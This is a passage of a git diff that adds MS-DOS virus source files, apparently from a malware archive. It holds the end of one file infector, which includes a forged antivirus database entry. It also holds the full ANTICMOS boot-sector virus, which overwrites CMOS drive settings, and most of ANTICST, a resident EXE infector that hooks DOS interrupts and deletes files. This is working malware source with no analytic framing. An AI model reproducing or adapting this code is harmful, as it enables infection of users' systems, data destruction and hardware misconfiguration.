ah,3eh ; Close our victim + int 21h + + pop ax ; Restore attributes + mov byte ptr es:[di+4],al ; Pop shit and jump + jmp dont_infect ; to the original int 21h + +; ──┤ Subroutines... or... oh, well, subroutine :) ├────────────────────── + +get_sft: push ax bx + mov ax,1220h ; Get job file table + int 2fh ; in ES:DI (DOS 3+) + jc bad_sft + + xor bx,bx ; Get the address of + mov ax,1216h ; the specific SFT for + mov bl,byte ptr es:[di] ; our handle + int 2fh + +bad_sft: pop bx ax ; Pop registers and + ret ; return to the code + +; ──┤ Data area ├───────────────────────────────────────────────────────── + +host_header db 0cdh,20h,90h,90h ; Host's header +new_header db 0e9h,?,?,90h ; New header buffer +avp_set db 'avp.set',0 ; Can't you guess it? :) +bizatch_name db 'BIZATCH.AVB',0dh,0ah ; Our database field +bizatch_base db 'bizatch.avb',0 ; Viral database name + +; ──┤ BIZATCH.AVB viral database ├──────────────────────────────────────── +; +; The hex dump below is the AVP full-compatible viral database which con- +; tains the necessary data for detecting Bizatch. This was done by compi- +; ling the 'belower' code, linking it to a new AVPRO record, and filling +; out some of this record's data fields. These are the steps: +; +; - Compile the source below this hex dump: tasm /m /ml /q biz_dec.asm. +; - Execute AVP's AVPRO.EXE. +; - Edit a new viral dabase (Alt-E, F3, and then type 'bizatch.avb'). +; - Insert a file record in it (Alt-I, and then select 'File virus'). +; - Fill the form as follows: +; +; ╔═[■]═══════════ File virus ════════════════╗ +; ║ Name: Bizatch_:P Type [ ] COM ║ +; ║ Comment: Fuck you, Bontchy [X] EXE ║ +; ║ [ ] SYS ║ +; ║ Area 1 Header [ ] WIN ║ +; ║ Offset 0000 ║ +; ║ Length 00 Method Delete ║ +; ║ Area 2 Page_C Area Header ║ +; ║ Offset 0000 From +0000 ║ +; ║ Length 0a Length +0000 ║ +; ║ To +0000 ║ +; > ║ Link ▄ +0000 ║ +; ║ ▀▀▀▀▀▀ Cut 0000 ║ +; > ║ Sum ▄ 00000000 ║ +; ║ ▀▀▀▀▀▀ 00000000 ║ +; ║ ║ +; ║ Ok ▄ Cancel ▄ ║ +; ║ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ║ +; ╚═══════════════════════════════════════════╝ +; +; - Link biz_dec.obj (Alt-L, and then select it). +; - Type in Bizatch's entry point for calculating its sum (Alt-S, don't +; select any file, and type in 'e8 00 00 00 00 5d 8b c5 2d 05' in the +; dump gap AVPRO will show you. +; - Save the new record and the new viral database. +; +; As you see, this is quite tedious to do, and that's why i included di- +; rectly the hex dump of the result of all these steps, which seems to me +; a bit more easy for you :) +; +; So skip the hex dump and have a look at biz_dec.asm's code, which is the +; really important thing of this virus. + + +base_start label byte +base_size equ base_end-base_start-3 +bizatch_avb db 2dh,56h,0c2h,00h,00h,00h,00h,01h,0cch,07h,04h + db 0bh,0cch,07h,10h,0bh,00h,00h,01h,00h,00h,00h,00h + db 00h,0dh,0ah,41h,6eh,74h,69h,76h,69h,72h,61h,6ch + db 20h,54h,6fh,6fh,6ch,4bh,69h,74h,20h,50h,72h,6fh + db 0dh,0ah,20h,62h,79h,20h,45h,75h,67h,65h,6eh,65h + db 20h,4bh,61h,73h,70h,65h,72h,73h,6bh,79h,20h,0dh + db 0ah,28h,63h,29h,4bh,41h,4dh,49h,20h,43h,6fh,72h + db 70h,2eh,2ch,20h,52h,75h,73h,73h,69h,61h,20h,31h + db 39h,39h,32h,2dh,31h,39h,39h,35h,2eh,0dh,0ah,50h + db 72h,6fh,67h,72h,61h,6dh,6dh,65h,72h,73h,3ah,0dh + db 0ah,41h,6ch,65h,78h,65h,79h,20h,4eh,2eh,20h,64h + db 65h,20h,4dh,6fh,6eh,74h,20h,64h,65h,20h,52h,69h + db 71h,75h,65h,2ch,0dh,0ah,45h,75h,67h,65h,6eh,65h + db 20h,56h,2eh,20h,4bh,61h,73h,70h,65h,72h,73h,6bh + db 79h,2ch,0dh,0ah,56h,61h,64h,69h,6dh,20h,56h,2eh + db 20h,42h,6fh,67h,64h,61h,6eh,6fh,76h,2eh,0dh,0ah + db 0dh,0ah,00h,0dh,0ah,38h,00h,00h,00h,10h,00h,42h + db 69h,7ah,61h,74h,63h,68h,5fh,3ah,50h,00h,00h,00h + db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,03h + db 00h,00h,0ah,0fh,0feh,0ffh,0ffh,01h,00h,00h,00h,00h + db 00h,00h,00h,0ch,00h,00h,00h,00h,00h,00h,00h,00h,00h + db 00h,00h,00h,00h,0dh,01h,12h,00h,00h,00h,46h,75h,63h + db 6bh,20h,79h,6fh,75h,2ch,20h,42h,6fh,6eh,74h,63h,68h + db 79h,00h,0dh,02h,01h,01h,00h,00h,98h,07h,00h,28h,86h + db 00h,02h,03h,01h,0adh,8ch,21h,00h,07h,5fh,50h,61h + db 67h,65h,5fh,43h,00h,07h,5fh,48h,65h,61h,64h,65h + db 72h,00h,05h,5fh,53h,65h,65h,6bh,00h,05h,5fh,52h + db 65h,61h,64h,00h,53h,90h,0eh,00h,00h,01h,07h,5fh + db 64h,65h,63h,6fh,64h,65h,00h,00h,00h,97h,0a0h,8ah + db 00h,01h,00h,00h,1eh,55h,0bdh,00h,00h,8eh,0ddh,0c4h + db 3eh,00h,00h,26h,8bh,6dh,3ch,33h,0c0h,50h,55h,9ah + db 00h,00h,00h,00h,58h,58h,0c4h,3eh,00h,00h,0b8h,0f8h + db 00h,50h,06h,57h,9ah,00h,00h,00h,00h,83h,0c4h,06h + db 0c4h,3eh,00h,00h,26h,81h,3dh,50h,45h,75h,29h,26h + db 8bh,4dh,06h,51h,0b8h,28h,00h,50h,06h,57h,9ah,00h + db 00h,00h,00h,83h,0c4h,06h,59h,0c4h,3eh,00h,00h,26h + db 81h,3dh,76h,6ch,75h,08h,26h,81h,7dh,02h,61h,64h + db 74h,07h,0e2h,0dbh,33h,0c0h,5dh,1fh,0cbh,26h,0c4h + db 7dh,14h,06h,57h,9ah,00h,00h,00h,00h,58h,58h,0c4h + db 3eh,00h,00h,0b8h,0ah,00h,50h,06h,57h,9ah,00h,00h + db 00h,00h,83h,0c4h,06h,0ebh,0dah,9ah,9ch,2dh,00h + db 0c8h,03h,56h,02h,0c4h,09h,56h,02h,0cch,14h,56h + db 03h,0c4h,1ch,56h,01h,0cch,25h,56h,04h,0c4h,2eh + db 56h,01h,0cch,43h,56h,04h,0c4h,4dh,56h,01h,0cch + db 6ch,56h,03h,0c4h,74h,56h,01h,0cch,7dh,56h,04h,57h + db 8ah,02h,00h,00h,74h +base_end label byte + +; ──┤ Bizatch's detection code ├────────────────────────────────────────── +; +; biz_dec segment byte public 'code' +; assume cs:biz_dec;ds:biz_dec;es:biz_dec;ss:biz_dec +; +; _decode proc far +; push ds bp +; mov bp,seg _Header ; Get AVP's data segment +; mov ds,bp +; +; les di,_Header ; Get pointer to header +; mov bp,word ptr es:[di+3ch] ; Get PE header offset +; xor ax,ax +; +; push ax bp +; call far ptr _Seek ; Lseek to PE header +; pop ax ax ; Remove 2 words from stack +; +; les di,_Page_C ; Destination=buffer +; mov ax,0f8h ; Size=f8h bytes +; +; push ax es di ; Read f8h bytes from +; call far ptr _Read ; the PE header +; +; add sp,6 ; Remove 3 words from stack +; les di,_Page_C ; The call changes ES +; cmp word ptr es:[di],'EP' ; Portable Executable? +; jne back_to_avp +; +; mov cx,word ptr es:[di+6] ; Objects number +; next_entry: push cx +; +; mov ax,28h ; Length of each +; push ax es di ; object table entry +; call far ptr _Read ; Read object +; +; add sp,6 ; Remove 3 words from stack +; pop cx +; les di,_Page_C ; Point to our buffer +; cmp word ptr es:[di],'lv' ; vl(ad) object? +; jne search_loop +; +; cmp word ptr es:[di],'da' ; (vl)ad object? +; je lseek_object ; Bingo! :) +; +; search_loop: loop next_entry ; Process next object +; +; back_to_avp: xor ax,ax ; R_CLEAN==0 +; pop bp ds ; Return to AVP +; retf +; +; lseek_object: les di,dword ptr es:[di+14h] ; Lseek to the object +; push es di ; physical offset +; call far ptr _Seek +; +; pop ax ax +; mov ax,0ah ; Read ten bytes to +; les di,_Page_C ; our buffer (page C) +; push ax es di +; call far ptr _Read +; +; add sp,6 ; And now AVP will compare +; jmp back_to_avp ; those ten bytes with +; _decode endp ; Bizatch's search string +; biz_decode ends +; +; public _decode +; extrn _Page_C:dword ; External AVP's API +; extrn _Header:dword ; functions and buffers +; extrn _Seek:far ; (lseek, read, header, +; extrn _Read:far ; read buffer...) +; end + +anticaro_end label byte +anticaro ends + end anticaro_start diff --git a/MSDOS/Virus.MSDOS.Unknown.anticmos.asm b/MSDOS/Virus.MSDOS.Unknown.anticmos.asm new file mode 100644 index 00000000..848f485c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.anticmos.asm @@ -0,0 +1,303 @@ + +PAGE 59,132 + +;██████████████████████████████████████████████████████████████████████████ +;██ ██ +;██ ANTICMOS ██ +;██ ██ +;██ Created: 26-May-95 ██ +;██ Code type: zero start ██ +;██ Passes: 9 Analysis Options on: H ██ +;██ ██ +;██████████████████████████████████████████████████████████████████████████ + +target EQU 'T3' ; Target assembler: TASM-3.1 + +.386c + + +; The following equates show data references outside the range of the program. + +DATA_1E EQU 4CH +main_ram_size_ EQU 413H +timer_low_ EQU 46CH +DATA_3E EQU 500H +DATA_4E EQU 7C00H ;* +DATA_5E EQU 7C07H ;* +DATA_6E EQU 7C09H ;* +DATA_14E EQU 20BH ;* +DATA_15E EQU 21EH ;* + +SEG_A SEGMENT BYTE PUBLIC USE16 + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 0 + +ANTICMOS PROC FAR + +START: +; Simulation segment register change due to reset to default DS now 8EB6 +; Simulation segment register change due to reset to default ES now 8EB6 + JMP SHORT LOC_3 + DB 90H +DATA_7 DB 4DH + DB 53H, 44H, 4FH +DATA_8 DW 3553H, 302EH +DATA_9 DB 0 + DB 02H, 01H, 01H, 00H, 02H,0E0H + DB 00H, 40H, 0BH,0F0H, 09H, 00H +DATA_10 DB 12H + DB 0, 2, 0, 0, 0 +LOC_3: + CLI ; Disable interrupts + XOR AX, AX ; Zero register + MOV DS, AX +; Simulation segment register change due to instruction DS now 0000 + MOV SS, AX + MOV SP, 7C00H + MOV SI, SP + STI ; Enable interrupts + LES AX, DWORD PTR DS:DATA_1E ; Load seg:offset ptr +; Simulation segment register change due to instruction ES now 0070 + MOV DS:DATA_5E, AX + MOV DS:DATA_6E, ES + MOV AX, DS:main_ram_size_ + DEC AX + DEC AX + MOV DS:main_ram_size_, AX + MOV CL, 6 + SHL AX, CL ; Shift w/zeros fill + MOV ES, AX +; Simulation segment register change due to instruction ES now 9F40 + MOV CX, 200H + XOR DI, DI ; Zero register + CLD ; Clear direction + REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] + MOV AX, 88H + PUSH ES + PUSH AX + RETF +; Simulation segment register change due to reset to default DS now 8EB6 +; Simulation segment register change due to reset to default ES now 8EB6 + ;* No entry point to code + PUSH DS + PUSH AX + TEST DL, 0F0H + JNZ SHORT LOC_5 ; Jump if not zero + SHR AH, 1 ; Shift w/zeros fill + DEC AH + JNZ SHORT LOC_5 ; Jump if not zero + XOR AX, AX ; Zero register + MOV DS, AX +; Simulation segment register change due to instruction DS now 0000 + MOV AX, DS:timer_low_ + MOV AL, AH + SUB AL, CS:DATA_7 + CMP AL, 2 + JB SHORT LOC_5 ; Jump if below + MOV CS:DATA_7, AH + CMP AX, 2 + JAE SHORT LOC_4 ; Jump if above or = + CALL SUB_1 +LOC_4: + CALL SUB_2 +LOC_5: +; Simulation segment register change due to return from sub DS now 8EB6 + POP AX + POP DS + JMP DWORD PTR CS:DATA_8 +LOC_6: + XOR AX, AX ; Zero register + MOV ES, AX +; Simulation segment register change due to instruction ES now 0000 + INT 13H ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + PUSH CS +LOC_7: + POP DS + CMP DATA_9, 0 + JE SHORT LOC_8 ; Jump if equal + MOV SI, OFFSET DATA_13 ; (' key when ready') + ADD SI, 10H + CMP BYTE PTR [SI], 80H + JNE LOC_7 ; Jump if not equal + MOV DX, [SI] + MOV CX, [SI+2] + MOV BX, DATA_4E + MOV AX, 201H + INT 13H ; Disk dl=drive ? ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + JC LOC_6 ; Jump if carry Set + MOV WORD PTR CS:[148H], 7C0H + JMP SHORT LOC_12 + DB 90H +LOC_8: + MOV DL, 80H + CALL SUB_2 + MOV DI, OFFSET DATA_10 + MOV AX, [DI-7] + MOV CX, 4 + SHR AX, CL ; Shift w/zeros fill + MOV BP, AX + MOV AX, [DI-2] + SHL AX, 1 ; Shift w/zeros fill + INC AX + ADD BP, AX + DIV BYTE PTR [DI] ; al,ah rem = ax/data + MOV CL, AH + INC CL + XOR DX, DX ; Zero register + MOV DH, AL + MOV BX, DATA_3E +LOC_9: + MOV AX, 201H + INT 13H ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + JC LOC_9 ; Jump if carry Set + MOV AX, BP + MOV SI, 34H + MOV BH, 7 + DIV BYTE PTR [DI] ; al,ah rem = ax/data + XOR CX, CX ; Zero register + XCHG AH, CL + SUB SI, CX + DIV BYTE PTR [DI+2] ; al,ah rem = ax/data + MOV DX, AX + XCHG DL, CH + MOV AL, [DI] + SUB AL, CL + INC CL +LOC_10: + MOV AH, 2 + PUSH AX + INT 13H ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + POP AX + JC LOC_10 ; Jump if carry Set + MOV CL, 1 + ADD BH, AL + ADD BH, AL + MOV AX, [DI] + INC DH + CMP DH, [DI+2] + JB SHORT LOC_11 ; Jump if below + MOV DH, 0 + INC CH +LOC_11: + SUB SI, AX + JNC LOC_10 ; Jump if carry=0 + ADD AX, SI + MOV AH, 2 + INT 13H ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + MOV CH, [DI-3] + MOV BX, BP + MOV WORD PTR DS:[148H], 70H +LOC_12: + XOR AX, AX ; Zero register + MOV DATA_9, AL + MOV DS, AX +; Simulation segment register change due to instruction DS now 0000 + MOV AL, 52H ; 'R' + MOV DS:DATA_1E, AX + MOV WORD PTR DS:DATA_1E+2, CS +;* JMP FAR PTR LOC_1 ;* + DB 0EAH + DW 0, 7C0H ; Fixup - byte match + +ANTICMOS ENDP + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +SUB_1 PROC NEAR +; Simulation segment register change due to sub entry point ES now 8EB6 + PUSH BX + MOV AL, 10H + OUT 70H, AL ; port 70H, CMOS addr,bit7=NMI + ; al = 10H, floppy drive type + IN AL, 71H ; port 71H, CMOS data + ADD AL, 20H ; ' ' + AND AL, 33H ; '3' + MOV AH, AL + MOV AL, 10H + OUT 70H, AL ; port 70H, CMOS addr,bit7=NMI + ; al = 10H, floppy drive type + MOV AL, AH + OUT 71H, AL ; port 71H, CMOS data + MOV AL, 12H + OUT 70H, AL ; port 70H, CMOS addr,bit7=NMI + ; al = 12H, hard disk type + MOV AL, 0 + OUT 71H, AL ; port 71H, CMOS data + POP BX + RETN +SUB_1 ENDP + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +SUB_2 PROC NEAR + PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH SI + PUSH DI + PUSH CS + POP DS +; Simulation segment register change due to instruction DS now 8EB6 + PUSH CS + POP ES + MOV BX, 200H + MOV CX, 1 + XOR DH, DH ; Zero register + MOV AX, 201H + PUSHF ; Push flags + CALL DWORD PTR DATA_8 + JC SHORT LOC_14 ; Jump if carry Set + MOV WORD PTR [BX], 1CEBH + CMP DL, 80H + JNE SHORT LOC_13 ; Jump if not equal + MOV DS:DATA_14E, DL +LOC_13: + CLD ; Clear direction + MOV CX, 1A0H + MOV SI, 1EH + MOV DI, DATA_15E + REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] + MOV AX, 301H + INC CX + PUSHF ; Push flags + CALL DWORD PTR DATA_8 +LOC_14: + POP DI + POP SI + POP ES +; Simulation segment register change due to instruction ES now 0000 + POP DX + POP CX + POP BX + RETN +SUB_2 ENDP + +; Simulation segment register change due to reset to default ES now 8EB6 +DATA_13 DB ' key when ready', 0DH, 0AH, 'Rep' + DB 'lace and press any key when read' + DB 'y', 0DH, 0AH, 0 + DB 'IO SYSMSDOS SYS' + DB 00H, 00H, 55H,0AAH + +SEG_A ENDS + + + + END START diff --git a/MSDOS/Virus.MSDOS.Unknown.anticst.asm b/MSDOS/Virus.MSDOS.Unknown.anticst.asm new file mode 100644 index 00000000..5e9aa8dc --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.anticst.asm @@ -0,0 +1,583 @@ + +PAGE 60,132 + +;██████████████████████████████████████████████████████████████████████████ +;██ ██ +;██ ANTICST ██ +;██ ██ +;██ Created: 4-Mar-91 ██ +;██ ██ +;██████████████████████████████████████████████████████████████████████████ + +data_1e equ 4Ch ; (0000:004C=31h) +data_2e equ 4Eh ; (0000:004E=70h) +data_3e equ 84h ; (0000:0084=0E3h) +data_4e equ 86h ; (0000:0086=161Ah) +data_5e equ 90h ; (0000:0090=8Eh) +data_6e equ 92h ; (0000:0092=1498h) +data_7e equ 102h ; (0000:0102=0CC00h) +data_8e equ 106h ; (0000:0106=326h) +data_9e equ 47Bh ; (0000:047B=0) +data_10e equ 0 ; (0326:0000=6A7h) +data_11e equ 2 ; (0326:0002=70h) +data_12e equ 0 ; (06A0:0000=65h) +data_13e equ 1 ; (06A1:0001=3028h) +data_14e equ 2 ; (06E3:0002=2342h) +data_15e equ 6 ; (06E3:0006=2344h) +data_33e equ 0FD89h ; (701E:FD89=0) +data_34e equ 0FD8Bh ; (701E:FD8B=0) +data_35e equ 0FDA1h ; (701E:FDA1=0) +data_36e equ 0FDA3h ; (701E:FDA3=0) +data_37e equ 0FDABh ; (701E:FDAB=0) +data_38e equ 0FDB5h ; (701E:FDB5=0) +data_39e equ 0FDB7h ; (701E:FDB7=0) +data_40e equ 0FDBDh ; (701E:FDBD=0) +data_41e equ 0FDBFh ; (701E:FDBF=0) + +code_seg_a segment + assume cs:code_seg_a, ds:code_seg_a + + + org 100h + +anticst proc far + +start: +data_16 dw 73E9h +data_17 dw 0C302h + db 23 dup (0C3h) +data_19 dw 0C3C3h +data_20 dw 0C3C3h + db 2Ah, 2Eh, 5Ah, 49h, 50h + db 0 +data_22 dw 0 +data_23 dw 0 +data_24 dw 0 +data_25 dw 0 +data_26 dw 0 +data_27 dd 00000h +data_28 dw 0 +data_29 dw 0 +data_30 dd 00000h +data_31 dw 0 +data_32 dw 0 + db 40h, 3Dh, 4Dh, 4Bh, 75h, 9 + db 55h, 8Bh, 0ECh, 83h, 66h, 6 + db 0FEh, 5Dh, 0CFh, 80h, 0FCh, 4Bh + db 74h, 12h, 3Dh, 0, 3Dh, 74h + db 0Dh, 3Dh, 0, 6Ch, 75h, 5 + db 80h, 0FBh, 0, 74h, 3 +loc_1: + jmp loc_12 +loc_2: + push es + push ds + push di + push si + push bp + push dx + push cx + push bx + push ax + call sub_5 + call sub_6 + cmp ax,6C00h + jne loc_3 ; Jump if not equal + mov dx,si +loc_3: + mov cx,80h + mov si,dx + +locloop_4: + inc si + mov al,[si] + nop + or al,al ; Zero ? + loopnz locloop_4 ; Loop if zf=0, cx>0 + + sub si,2 + cmp word ptr [si],4558h + je loc_6 ; Jump if equal +loc_5: + jmp short loc_11 + db 90h +loc_6: + cmp word ptr [si-2],452Eh + nop + jz loc_7 ; Jump if zero + jmp short loc_5 +loc_7: + mov ax,3D02h + call sub_4 + jc loc_11 ; Jump if carry Set + mov bx,ax + mov ax,5700h + call sub_4 + mov cs:data_23,cx ; (701E:0127=0) + mov cs:data_24,dx ; (701E:0129=0) + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_4 + push cs + pop ds + mov dx,103h + mov si,dx + mov cx,18h + mov ah,3Fh ; '?' + call sub_4 + jc loc_9 ; Jump if carry Set + cmp word ptr [si],5A4Dh + jne loc_8 ; Jump if not equal + call sub_1 + jmp short loc_9 +loc_8: + jmp short loc_9 +loc_9: + jc loc_10 ; Jump if carry Set + mov ax,5701h + mov cx,cs:data_23 ; (701E:0127=0) + mov dx,cs:data_24 ; (701E:0129=0) + call sub_4 +loc_10: + mov ah,3Eh ; '>' + call sub_4 +loc_11: + call sub_6 + pop ax + pop bx + pop cx + pop dx + pop bp + pop si + pop di + pop ds + pop es +loc_12: + jmp cs:data_27 ; (701E:012F=0) + +anticst endp + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_1 proc near + mov dx,10h + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + mov dx,11Fh + mov cx,110Bh + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + mov dx,2Eh + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov ah,41h ; 'A' + int 21h ; DOS Services ah=function 41h + ; delete file, name @ ds:dx + mov cx,[si+16h] + add cx,[si+8] + mov ax,10h + mul cx ; dx:ax = reg * ax + add ax,[si+14h] + adc dx,0 + push dx + push ax + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_4 + cmp dx,0 + jne loc_13 ; Jump if not equal + cmp ax,3F0h + jae loc_13 ; Jump if above or = + pop ax + pop dx + stc ; Set carry flag + ret +loc_13: + mov di,ax + mov bp,dx + pop cx + sub ax,cx + pop cx + sbb dx,cx + cmp word ptr [si+0Ch],0 + je loc_ret_16 ; Jump if equal + cmp dx,0 + jne loc_14 ; Jump if not equal + cmp ax,3F0h + jne loc_14 ; Jump if not equal + stc ; Set carry flag + ret +loc_14: + mov dx,bp + mov ax,di + push dx + push ax + add ax,3F0h + adc dx,0 + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + les di,dword ptr [si+2] ; Load 32 bit ptr + mov cs:data_25,di ; (701E:012B=0) + mov cs:data_26,es ; (701E:012D=0) + mov [si+2],dx + cmp dx,0 + je loc_15 ; Jump if equal + inc ax +loc_15: + mov [si+4],ax + pop ax + pop dx + call sub_2 + sub ax,[si+8] + les di,dword ptr [si+14h] ; Load 32 bit ptr + mov data_19,di ; (701E:011B=0C3C3h) + mov data_20,es ; (701E:011D=0C3C3h) + mov [si+14h],dx + mov [si+16h],ax + mov data_22,ax ; (701E:0125=0) + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_4 + call sub_3 + jc loc_ret_16 ; Jump if carry Set + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_4 + mov ah,40h ; '@' + mov dx,si + mov cx,18h + call sub_4 + +loc_ret_16: + ret +sub_1 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_2 proc near + mov cx,4 + mov di,ax + and di,0Fh + +locloop_17: + shr dx,1 ; Shift w/zeros fill + rcr ax,1 ; Rotate thru carry + loop locloop_17 ; Loop if cx > 0 + + mov dx,di + ret +sub_2 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_3 proc near + mov ah,40h ; '@' + mov cx,3F0h + mov dx,100h + call sub_5 + jmp short loc_18 + db 90h + +;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ + +sub_4: +loc_18: + pushf ; Push flags + call cs:data_27 ; (701E:012F=0) + ret +sub_3 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_5 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + push ax + pop ds + cli ; Disable interrupts + les ax,dword ptr ds:data_5e ; (0000:0090=18Eh) Load 32 bit ptr + mov cs:data_28,ax ; (701E:0133=0) + mov cs:data_29,es ; (701E:0135=0) + mov ax,35Eh + mov ds:data_5e,ax ; (0000:0090=18Eh) + mov ds:data_6e,cs ; (0000:0092=1498h) + les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr + mov cs:data_31,ax ; (701E:013B=0) + mov cs:data_32,es ; (701E:013D=0) + les ax,cs:data_30 ; (701E:0137=0) Load 32 bit ptr + mov ds:data_1e,ax ; (0000:004C=831h) + mov ds:data_2e,es ; (0000:004E=70h) + sti ; Enable interrupts + pop es + pop ds + pop ax + ret +sub_5 endp + + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE +;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_6 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + push ax + pop ds + cli ; Disable interrupts + les ax,dword ptr cs:data_28 ; (701E:0133=0) Load 32 bit ptr + mov ds:data_5e,ax ; (0000:0090=18Eh) + mov ds:data_6e,es ; (0000:0092=1498h) + les ax,dword ptr cs:data_31 ; (701E:013B=0) Load 32 bit ptr + mov ds:data_1e,ax ; (0000:004C=831h) + mov ds:data_2e,es ; (0000:004E=70h) + sti ; Enable interrupts + pop es + pop ds + pop ax + ret +sub_6 endp + + db 0B0h, 3, 0CFh + +;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +; SUBROUTINE 